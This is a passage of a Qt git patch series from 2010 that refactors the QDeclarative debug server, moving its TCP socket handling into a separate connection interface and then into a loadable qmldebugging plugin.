QHash::Iterator iter = - d->plugins.find(name); - if (iter == d->plugins.end()) { - qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name; - } else { - (*iter)->messageReceived(message); - } - } - } -} - QDeclarativeDebugServicePrivate::QDeclarativeDebugServicePrivate() : server(0) { @@ -346,16 +59,16 @@ QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject Q_D(QDeclarativeDebugService); d->name = name; d->server = QDeclarativeDebugServer::instance(); + d->status = QDeclarativeDebugService::NotConnected; if (!d->server) return; - if (d->server->d_func()->plugins.contains(name)) { + if (d->server->serviceNames().contains(name)) { qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name; d->server = 0; } else { - d->server->d_func()->plugins.insert(name, this); - d->server->d_func()->advertisePlugins(); + d->server->addService(this); } } @@ -363,8 +76,7 @@ QDeclarativeDebugService::~QDeclarativeDebugService() { Q_D(const QDeclarativeDebugService); if (d->server) { - d->server->d_func()->plugins.remove(d->name); - d->server->d_func()->advertisePlugins(); + d->server->removeService(this); } } @@ -377,13 +89,7 @@ QString QDeclarativeDebugService::name() const QDeclarativeDebugService::Status QDeclarativeDebugService::status() const { Q_D(const QDeclarativeDebugService); - if (!d->server - || !d->server->hasDebuggingClient()) - return NotConnected; - if (d->server->d_func()->clientPlugins.contains(d->name)) - return Enabled; - - return Unavailable; + return d->status; } namespace { @@ -500,10 +206,7 @@ void QDeclarativeDebugService::sendMessage(const QByteArray &message) if (status() != Enabled) return; - QPacket pack; - pack << d->name << message; - d->server->d_func()->protocol->send(pack); - d->server->d_func()->connection->flush(); + d->server->sendMessage(this, message); } void QDeclarativeDebugService::statusChanged(Status) @@ -515,5 +218,3 @@ void QDeclarativeDebugService::messageReceived(const QByteArray &) } QT_END_NAMESPACE - -#include diff --git a/src/declarative/debugger/qdeclarativedebugservice_p_p.h b/src/declarative/debugger/qdeclarativedebugservice_p_p.h new file mode 100644 index 0000000..d2c8dda --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservice_p_p.h @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVICE_P_H +#define QDECLARATIVEDEBUGSERVICE_P_H + +#include +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugServer; + +class QDeclarativeDebugServicePrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeDebugService) +public: + QDeclarativeDebugServicePrivate(); + + QString name; + QDeclarativeDebugServer *server; + QDeclarativeDebugService::Status status; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVICE_P_H -- cgit v0.12 From 5336e1838a95d97d34863b668ff797582c226e79 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Wed, 24 Nov 2010 19:50:09 +0100 Subject: QDeclarativeDebug: Move networking code out of QDeclarativeDebugServer Move socket handling code out of QDeclarativeDebugServer into a QDeclarativeDebugServer(Tcp)Connection class. Reviewed-by: Christiaan Janssen --- src/declarative/debugger/debugger.pri | 8 +- .../debugger/qdeclarativedebugserver.cpp | 131 ++++++----------- .../debugger/qdeclarativedebugserver_p.h | 13 +- .../debugger/qdeclarativedebugserverconnection_p.h | 68 +++++++++ .../debugger/qdeclarativedebugserverplugin_p.h | 0 .../qdeclarativedebugservertcpconnection.cpp | 163 +++++++++++++++++++++ .../qdeclarativedebugservertcpconnection_p.h | 86 +++++++++++ src/declarative/debugger/qpacketprotocol.cpp | 8 + src/declarative/debugger/qpacketprotocol_p.h | 1 + 9 files changed, 383 insertions(+), 95 deletions(-) create mode 100644 src/declarative/debugger/qdeclarativedebugserverconnection_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugserverplugin_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp create mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 144d896..e7354dc 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -8,7 +8,8 @@ SOURCES += \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ $$PWD/qdeclarativedebughelper.cpp \ - $$PWD/qdeclarativedebugserver.cpp + $$PWD/qdeclarativedebugserver.cpp \ + $$PWD/qdeclarativedebugservertcpconnection.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ @@ -19,4 +20,7 @@ HEADERS += \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ $$PWD/qdeclarativedebughelper_p.h \ - $$PWD/qdeclarativedebugserver_p.h + $$PWD/qdeclarativedebugserverplugin_p.h \ + $$PWD/qdeclarativedebugserver_p.h \ + $$PWD/qdeclarativedebugservertcpconnection_p.h \ + debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp index 4bb4e2c..6085e3e 100644 --- a/src/declarative/debugger/qdeclarativedebugserver.cpp +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -42,15 +42,11 @@ #include "private/qdeclarativedebugserver_p.h" #include "private/qdeclarativedebugservice_p.h" #include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativedebugservertcpconnection_p.h" #include "private/qdeclarativeengine_p.h" -#include "private/qpacketprotocol_p.h" - #include -#include -#include - #include #include @@ -89,73 +85,36 @@ public: void advertisePlugins(); - int port; - QTcpSocket *connection; - QPacketProtocol *protocol; + QDeclarativeDebugServerConnection *connection; QHash plugins; QStringList clientPlugins; - QTcpServer *tcpServer; bool gotHello; }; -QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() -: connection(0), protocol(0), gotHello(false) +QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() : + connection(0), + gotHello(false) { } void QDeclarativeDebugServerPrivate::advertisePlugins() { - if (!connection - || connection->state() != QTcpSocket::ConnectedState - || !gotHello) + if (!gotHello) return; - QPacket pack; - pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); - protocol->send(pack); - connection->flush(); -} - -void QDeclarativeDebugServer::listen() -{ - Q_D(QDeclarativeDebugServer); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServer::waitForConnection() -{ - Q_D(QDeclarativeDebugServer); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServer::newConnection() -{ - Q_D(QDeclarativeDebugServer); - - if (d->connection) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; + QByteArray message; + { + QDataStream out(&message, QIODevice::WriteOnly); + out << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); } - - d->connection = d->tcpServer->nextPendingConnection(); - d->connection->setParent(this); - d->protocol = new QPacketProtocol(d->connection, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); + connection->send(message); } bool QDeclarativeDebugServer::hasDebuggingClient() const { Q_D(const QDeclarativeDebugServer); return d->connection - && (d->connection->state() == QTcpSocket::ConnectedState) + && d->connection->isConnected() && d->gotHello; } @@ -192,11 +151,17 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); if (ok) { - server = new QDeclarativeDebugServer(port); - server->listen(); + server = new QDeclarativeDebugServer(); + + QDeclarativeDebugServerTcpConnection *tcpConnection + = new QDeclarativeDebugServerTcpConnection(port, server); + + tcpConnection->listen(); if (block) { - server->waitForConnection(); + tcpConnection->waitForConnection(); } + + server->d_func()->connection = tcpConnection; } else { qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " "Format is -qmljsdebugger=port:[,block]").arg( @@ -209,37 +174,31 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() return server; } -QDeclarativeDebugServer::QDeclarativeDebugServer(int port) +QDeclarativeDebugServer::QDeclarativeDebugServer() : QObject(*(new QDeclarativeDebugServerPrivate)) { - Q_D(QDeclarativeDebugServer); - d->port = port; } -void QDeclarativeDebugServer::readyRead() +void QDeclarativeDebugServer::receiveMessage(const QByteArray &message) { Q_D(QDeclarativeDebugServer); + QDataStream in(message); if (!d->gotHello) { - QPacket hello = d->protocol->read(); QString name; int op; - hello >> name >> op; + in >> name >> op; if (name != QLatin1String("QDeclarativeDebugServer") || op != 0) { qWarning("QDeclarativeDebugServer: Invalid hello message"); - QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); - d->protocol->deleteLater(); - d->protocol = 0; - d->connection->deleteLater(); - d->connection = 0; + d->connection->disconnect(); return; } int version; - hello >> version >> d->clientPlugins; + in >> version >> d->clientPlugins; QHash::Iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { @@ -250,31 +209,30 @@ void QDeclarativeDebugServer::readyRead() iter.value()->statusChanged(newStatus); } - QPacket helloAnswer; - helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); - d->protocol->send(helloAnswer); - d->connection->flush(); + QByteArray helloAnswer; + { + QDataStream out(&helloAnswer, QIODevice::WriteOnly); + out << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); + } + d->connection->send(helloAnswer); d->gotHello = true; qWarning("QDeclarativeDebugServer: Connection established"); - } + } else { - QString debugServer(QLatin1String("QDeclarativeDebugServer")); - - while (d->protocol->packetsAvailable()) { - QPacket pack = d->protocol->read(); + QString debugServer(QLatin1String("QDeclarativeDebugServer")); QString name; - pack >> name; + in >> name; if (name == debugServer) { int op = -1; - pack >> op; + in >> op; if (op == 1) { // Service Discovery QStringList oldClientPlugins = d->clientPlugins; - pack >> d->clientPlugins; + in >> d->clientPlugins; QHash::Iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { @@ -294,7 +252,7 @@ void QDeclarativeDebugServer::readyRead() } } else { QByteArray message; - pack >> message; + in >> message; QHash::Iterator iter = d->plugins.find(name); @@ -307,7 +265,6 @@ void QDeclarativeDebugServer::readyRead() } } - QList QDeclarativeDebugServer::services() const { const Q_D(QDeclarativeDebugServer); @@ -357,10 +314,12 @@ void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service, const QByteArray &message) { Q_D(QDeclarativeDebugServer); - QPacket pack; - pack << service->name() << message; - d->protocol->send(pack); - d->connection->flush(); + QByteArray msg; + { + QDataStream out(&msg, QIODevice::WriteOnly); + out << service->name() << message; + } + d->connection->send(msg); } QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h index 6840d63..93ab10b 100644 --- a/src/declarative/debugger/qdeclarativedebugserver_p.h +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -43,6 +43,7 @@ #define QDECLARATIVEDEBUGSERVER_H #include +#include QT_BEGIN_HEADER @@ -60,8 +61,9 @@ class QDeclarativeDebugServer : public QObject Q_DISABLE_COPY(QDeclarativeDebugServer) public: static QDeclarativeDebugServer *instance(); - void listen(); - void waitForConnection(); + + void setConnection(QDeclarativeDebugServerConnection *connection); + bool hasDebuggingClient() const; QList services() const; @@ -71,15 +73,12 @@ public: bool removeService(QDeclarativeDebugService *service); void sendMessage(QDeclarativeDebugService *service, const QByteArray &message); - -private Q_SLOTS: - void readyRead(); - void newConnection(); + void receiveMessage(const QByteArray &message); private: friend class QDeclarativeDebugService; friend class QDeclarativeDebugServicePrivate; - QDeclarativeDebugServer(int); + QDeclarativeDebugServer(); }; QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h new file mode 100644 index 0000000..4175126 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H +#define QDECLARATIVEDEBUGSERVERCONNECTION_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugServerConnection +{ +public: + QDeclarativeDebugServerConnection() {} + virtual ~QDeclarativeDebugServerConnection() {} + + virtual bool isConnected() const = 0; + virtual void send(const QByteArray &message) = 0; + virtual void disconnect() = 0; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVERCONNECTION_H diff --git a/src/declarative/debugger/qdeclarativedebugserverplugin_p.h b/src/declarative/debugger/qdeclarativedebugserverplugin_p.h new file mode 100644 index 0000000..e69de29 diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp new file mode 100644 index 0000000..223c875 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp @@ -0,0 +1,163 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativedebugservertcpconnection_p.h" + +#include "qdeclarativedebugserver_p.h" +#include "private/qpacketprotocol_p.h" + +#include +#include + + +QT_BEGIN_NAMESPACE + +class QDeclarativeDebugServerTcpConnectionPrivate { +public: + QDeclarativeDebugServerTcpConnectionPrivate(); + + int port; + QTcpSocket *socket; + QPacketProtocol *protocol; + QTcpServer *tcpServer; + + QDeclarativeDebugServer *debugServer; +}; + +QDeclarativeDebugServerTcpConnectionPrivate::QDeclarativeDebugServerTcpConnectionPrivate() : + port(0), + socket(0), + protocol(0), + tcpServer(0), + debugServer(0) +{ +} + +QDeclarativeDebugServerTcpConnection::QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server) : + QObject(server), + d_ptr(new QDeclarativeDebugServerTcpConnectionPrivate) +{ + Q_D(QDeclarativeDebugServerTcpConnection); + d->port = port; + d->debugServer = server; +} + +QDeclarativeDebugServerTcpConnection::~QDeclarativeDebugServerTcpConnection() +{ + delete d_ptr; +} + +bool QDeclarativeDebugServerTcpConnection::isConnected() const +{ + Q_D(const QDeclarativeDebugServerTcpConnection); + return d->socket && d->socket->state() == QTcpSocket::ConnectedState; +} + +void QDeclarativeDebugServerTcpConnection::send(const QByteArray &message) +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + if (!isConnected()) + return; + + QPacket pack; + pack.writeRawData(message.data(), message.length()); + + d->protocol->send(pack); + d->socket->flush(); +} + +void QDeclarativeDebugServerTcpConnection::disconnect() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + delete d->protocol; + d->protocol = 0; + delete d->socket; + d->socket = 0; +} + +void QDeclarativeDebugServerTcpConnection::listen() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + +void QDeclarativeDebugServerTcpConnection::waitForConnection() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + d->tcpServer->waitForNewConnection(-1); +} + +void QDeclarativeDebugServerTcpConnection::readyRead() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + QPacket packet = d->protocol->read(); + + QByteArray content = packet.data(); + d->debugServer->receiveMessage(content); +} + +void QDeclarativeDebugServerTcpConnection::newConnection() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + if (d->socket) { + qWarning("QDeclarativeDebugServer error: another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->socket = d->tcpServer->nextPendingConnection(); + d->socket->setParent(this); + d->protocol = new QPacketProtocol(d->socket, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + + +QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h new file mode 100644 index 0000000..f1c749ef --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVERTCPCONNECTION_H +#define QDECLARATIVEDEBUGSERVERTCPCONNECTION_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +#include + +class QDeclarativeDebugServer; +class QDeclarativeDebugServerTcpConnectionPrivate; +class QDeclarativeDebugServerTcpConnection : public QObject, public QDeclarativeDebugServerConnection +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeDebugServerTcpConnection) + Q_DISABLE_COPY(QDeclarativeDebugServerTcpConnection) + +public: + QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server); + ~QDeclarativeDebugServerTcpConnection(); + + bool isConnected() const; + void send(const QByteArray &message); + void disconnect(); + + void listen(); + void waitForConnection(); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + QDeclarativeDebugServerTcpConnectionPrivate *d_ptr; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVERTCPCONNECTION_H diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp index c2f7709..ad1e767 100644 --- a/src/declarative/debugger/qpacketprotocol.cpp +++ b/src/declarative/debugger/qpacketprotocol.cpp @@ -452,6 +452,14 @@ bool QPacket::isEmpty() const } /*! + Returns raw packet data. + */ +QByteArray QPacket::data() const +{ + return b; +} + +/*! Clears data in the packet. This is useful for reusing one writable packet. For example \code diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h index d153833..99fded5 100644 --- a/src/declarative/debugger/qpacketprotocol_p.h +++ b/src/declarative/debugger/qpacketprotocol_p.h @@ -98,6 +98,7 @@ public: void clear(); bool isEmpty() const; + QByteArray data() const; protected: friend class QPacketProtocol; -- cgit v0.12 From 21016c3b28674029a2a205da38f54e362e3635b9 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Fri, 26 Nov 2010 16:22:47 +0100 Subject: QDeclarativeDebug: Move Tcp server to separate plugin Reviewed-by: Christiaan Janssen --- src/declarative/debugger/debugger.pri | 4 +- .../debugger/qdeclarativedebugserver.cpp | 50 +++++- .../debugger/qdeclarativedebugserver_p.h | 2 +- .../debugger/qdeclarativedebugserverconnection_p.h | 9 +- .../qdeclarativedebugservertcpconnection.cpp | 163 ------------------- .../qdeclarativedebugservertcpconnection_p.h | 86 ---------- src/declarative/debugger/qpacketprotocol_p.h | 4 +- src/plugins/plugins.pro | 3 +- src/plugins/qmldebugging/qmldebugging.pro | 4 + .../tcpserver/qtcpserverconnection.cpp | 173 +++++++++++++++++++++ .../qmldebugging/tcpserver/qtcpserverconnection.h | 84 ++++++++++ src/plugins/qmldebugging/tcpserver/tcpserver.pro | 18 +++ 12 files changed, 334 insertions(+), 266 deletions(-) delete mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp delete mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h create mode 100644 src/plugins/qmldebugging/qmldebugging.pro create mode 100644 src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp create mode 100644 src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h create mode 100644 src/plugins/qmldebugging/tcpserver/tcpserver.pro diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index e7354dc..9152677 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -8,8 +8,7 @@ SOURCES += \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ $$PWD/qdeclarativedebughelper.cpp \ - $$PWD/qdeclarativedebugserver.cpp \ - $$PWD/qdeclarativedebugservertcpconnection.cpp + $$PWD/qdeclarativedebugserver.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ @@ -22,5 +21,4 @@ HEADERS += \ $$PWD/qdeclarativedebughelper_p.h \ $$PWD/qdeclarativedebugserverplugin_p.h \ $$PWD/qdeclarativedebugserver_p.h \ - $$PWD/qdeclarativedebugservertcpconnection_p.h \ debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp index 6085e3e..a269984 100644 --- a/src/declarative/debugger/qdeclarativedebugserver.cpp +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -42,9 +42,10 @@ #include "private/qdeclarativedebugserver_p.h" #include "private/qdeclarativedebugservice_p.h" #include "private/qdeclarativedebugservice_p_p.h" -#include "private/qdeclarativedebugservertcpconnection_p.h" #include "private/qdeclarativeengine_p.h" +#include +#include #include #include @@ -89,6 +90,8 @@ public: QHash plugins; QStringList clientPlugins; bool gotHello; + + static QDeclarativeDebugServerConnection *loadConnectionPlugin(); }; QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() : @@ -110,6 +113,36 @@ void QDeclarativeDebugServerPrivate::advertisePlugins() connection->send(message); } +QDeclarativeDebugServerConnection *QDeclarativeDebugServerPrivate::loadConnectionPlugin() +{ + QStringList pluginCandidates; + const QStringList paths = QCoreApplication::libraryPaths(); + foreach (const QString &libPath, paths) { + const QDir dir(libPath + QLatin1String("/qmldebugging")); + if (dir.exists()) { + QStringList plugins(dir.entryList(QDir::Files)); + foreach (const QString &pluginPath, plugins) { + pluginCandidates << dir.absoluteFilePath(pluginPath); + } + } + } + + foreach (const QString &pluginPath, pluginCandidates) { + QPluginLoader loader(pluginPath); + if (!loader.load()) { + continue; + } + QDeclarativeDebugServerConnection *connection = 0; + if (QObject *instance = loader.instance()) + connection = qobject_cast(instance); + + if (connection) + return connection; + loader.unload(); + } + return 0; +} + bool QDeclarativeDebugServer::hasDebuggingClient() const { Q_D(const QDeclarativeDebugServer); @@ -153,15 +186,18 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() if (ok) { server = new QDeclarativeDebugServer(); - QDeclarativeDebugServerTcpConnection *tcpConnection - = new QDeclarativeDebugServerTcpConnection(port, server); + QDeclarativeDebugServerConnection *connection + = QDeclarativeDebugServerPrivate::loadConnectionPlugin(); + if (connection) { + server->d_func()->connection = connection; - tcpConnection->listen(); - if (block) { - tcpConnection->waitForConnection(); + connection->setServer(server); + connection->setPort(port, block); + } else { + qWarning() << QString::fromAscii("QDeclarativeDebugServer: Ignoring\"-qmljsdebugger=%1\". " + "Remote debugger plugin has not been found.").arg(appD->qmljsDebugArgumentsString()); } - server->d_func()->connection = tcpConnection; } else { qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " "Format is -qmljsdebugger=port:[,block]").arg( diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h index 93ab10b..ec3e60f 100644 --- a/src/declarative/debugger/qdeclarativedebugserver_p.h +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -54,7 +54,7 @@ QT_MODULE(Declarative) class QDeclarativeDebugService; class QDeclarativeDebugServerPrivate; -class QDeclarativeDebugServer : public QObject +class Q_DECLARATIVE_EXPORT QDeclarativeDebugServer : public QObject { Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeDebugServer) diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h index 4175126..631da74 100644 --- a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h +++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h @@ -42,7 +42,7 @@ #ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H #define QDECLARATIVEDEBUGSERVERCONNECTION_H -#include +#include QT_BEGIN_HEADER @@ -50,17 +50,22 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) -class QDeclarativeDebugServerConnection +class QDeclarativeDebugServer; +class Q_DECLARATIVE_EXPORT QDeclarativeDebugServerConnection { public: QDeclarativeDebugServerConnection() {} virtual ~QDeclarativeDebugServerConnection() {} + virtual void setServer(QDeclarativeDebugServer *server) = 0; + virtual void setPort(int port, bool bock) = 0; virtual bool isConnected() const = 0; virtual void send(const QByteArray &message) = 0; virtual void disconnect() = 0; }; +Q_DECLARE_INTERFACE(QDeclarativeDebugServerConnection, "com.trolltech.Qt.QDeclarativeDebugServerConnection/1.0") + QT_END_NAMESPACE QT_END_HEADER diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp deleted file mode 100644 index 223c875..0000000 --- a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp +++ /dev/null @@ -1,163 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** 